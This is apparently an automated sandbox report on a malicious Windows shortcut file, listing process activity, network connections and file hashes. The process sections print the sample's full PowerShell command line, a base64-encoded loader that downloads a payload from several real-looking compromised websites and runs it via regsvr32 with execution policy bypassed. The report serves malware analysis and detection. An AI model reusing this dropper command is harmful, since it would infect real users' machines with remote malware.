Analysis Overview
SHA256
c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463
Threat Level: Likely malicious
The file c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-13 09:24
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-13 09:24
Reported
2024-11-13 09:27
Platform
win7-20241010-en
Max time kernel
121s
Max time network
126s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3040 wrote to memory of 2736 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3040 wrote to memory of 2736 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3040 wrote to memory of 2736 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2736 wrote to memory of 2820 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2736 wrote to memory of 2820 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2736 wrote to memory of 2820 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "ARCHIVO 1512.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovLzUxLjIyMi43Mi4yMzcvd3AtaW5jbHVkZXMvMmw5Mlh1bG5DNmFaenYwak5HTi8iLCJodHRwOi8vdnJzdGFyLXBhcmsuY29tL3dwLWluY2x1ZGVzLzJVWWhOZ0lhTmVJQk0vIiwiaHR0cDovL2RuMDAwODkzLmZlcm96by5jb20vYWdlbmRhL2NrVTRvck9uNC8iLCJodHRwOi8vZGxxc2NsdWIuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy80SW1NWWtnSTQ0cHN3ZWFLSS8iLCJodHRwOi8vdG93YXJkc3VuLm5ldC9hZG1pbi9uNTZ3ZzliU1pQRi8iLCJodHRwOi8vY3JlY2VyY3JlYW5kby5jb20vdGFwYXMyL0FXbG8vIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL21TUm9DeFBJWW4uaGVEO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvbVNSb0N4UElZbi5oZUQ7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\vyrEzcdcTl.ps1"; Remove-Item "$env:TEMP/\vyrEzcdcTl.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\vyrEzcdcTl.ps1
Network
Files
memory/2736-38-0x000007FEF61FE000-0x000007FEF61FF000-memory.dmp
memory/2736-39-0x000000001B1E0000-0x000000001B4C2000-memory.dmp
memory/2736-40-0x00000000024D0000-0x00000000024D8000-memory.dmp
memory/2736-41-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp
memory/2736-42-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp
memory/2736-43-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp
memory/2736-44-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp
memory/2736-45-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp
memory/2736-47-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1
| MD5 | b6c0d424fc2e8f0305869f276f3ab851 |
| SHA1 | cc330652aade5fa66cf581884b1a347673206cd0 |
| SHA256 | 70280b341855deaa98065c4548ba8cbbf318a99b288bafa4217c6b205519776c |
| SHA512 | 21a656692df485e9c678617c6c77c8ea9ab4cef4a214d56f7ff7c5df7b0c484eb4494fb60552746c178875e3ddc66547f2e2eb31d67be8c3745de862bbea4e8e |
memory/2736-53-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-13 09:24
Reported
2024-11-13 09:27
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2276 wrote to memory of 1628 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2276 wrote to memory of 1628 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1628 wrote to memory of 1276 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1628 wrote to memory of 1276 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "ARCHIVO 1512.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovLzUxLjIyMi43Mi4yMzcvd3AtaW5jbHVkZXMvMmw5Mlh1bG5DNmFaenYwak5HTi8iLCJodHRwOi8vdnJzdGFyLXBhcmsuY29tL3dwLWluY2x1ZGVzLzJVWWhOZ0lhTmVJQk0vIiwiaHR0cDovL2RuMDAwODkzLmZlcm96by5jb20vYWdlbmRhL2NrVTRvck9uNC8iLCJodHRwOi8vZGxxc2NsdWIuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy80SW1NWWtnSTQ0cHN3ZWFLSS8iLCJodHRwOi8vdG93YXJkc3VuLm5ldC9hZG1pbi9uNTZ3ZzliU1pQRi8iLCJodHRwOi8vY3JlY2VyY3JlYW5kby5jb20vdGFwYXMyL0FXbG8vIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL21TUm9DeFBJWW4uaGVEO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvbVNSb0N4UElZbi5oZUQ7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\vyrEzcdcTl.ps1"; Remove-Item "$env:TEMP/\vyrEzcdcTl.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\vyrEzcdcTl.ps1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| CA | 51.222.72.237:80 | tcp | |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | vrstar-park.com | udp |
| CN | 49.4.81.44:80 | vrstar-park.com | tcp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | dn000893.ferozo.com | udp |
| AR | 66.97.36.138:80 | dn000893.ferozo.com | tcp |
| US | 8.8.8.8:53 | dlqsclub.com | udp |
| US | 8.8.8.8:53 | 138.36.97.66.in-addr.arpa | udp |
| US | 8.8.8.8:53 | towardsun.net | udp |
| US | 8.8.8.8:53 | crecercreando.com | udp |
| ES | 217.76.156.252:80 | crecercreando.com | tcp |
| US | 8.8.8.8:53 | 252.156.76.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 106.208.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
Files
memory/1628-2-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp
memory/1628-8-0x0000027FDDED0000-0x0000027FDDEF2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pwfhzkts.u4i.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1628-13-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp
memory/1628-14-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp
memory/1628-15-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp
memory/1628-17-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1
| MD5 | b6c0d424fc2e8f0305869f276f3ab851 |
| SHA1 | cc330652aade5fa66cf581884b1a347673206cd0 |
| SHA256 | 70280b341855deaa98065c4548ba8cbbf318a99b288bafa4217c6b205519776c |
| SHA512 | 21a656692df485e9c678617c6c77c8ea9ab4cef4a214d56f7ff7c5df7b0c484eb4494fb60552746c178875e3ddc66547f2e2eb31d67be8c3745de862bbea4e8e |
memory/1628-28-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp
memory/1628-29-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp
memory/1628-30-0x0000027FDDF00000-0x0000027FDE11C000-memory.dmp
memory/1276-31-0x000001EA53D20000-0x000001EA53F3C000-memory.dmp
memory/1276-34-0x000001EA54C70000-0x000001EA55416000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 0ab03b4ab0ee8273a1eea28cef1ca1e7 |
| SHA1 | 8a305ca40e71bd2b04b20c65e28730e3ff3f50b2 |
| SHA256 | 695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed |
| SHA512 | 7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
memory/1628-41-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp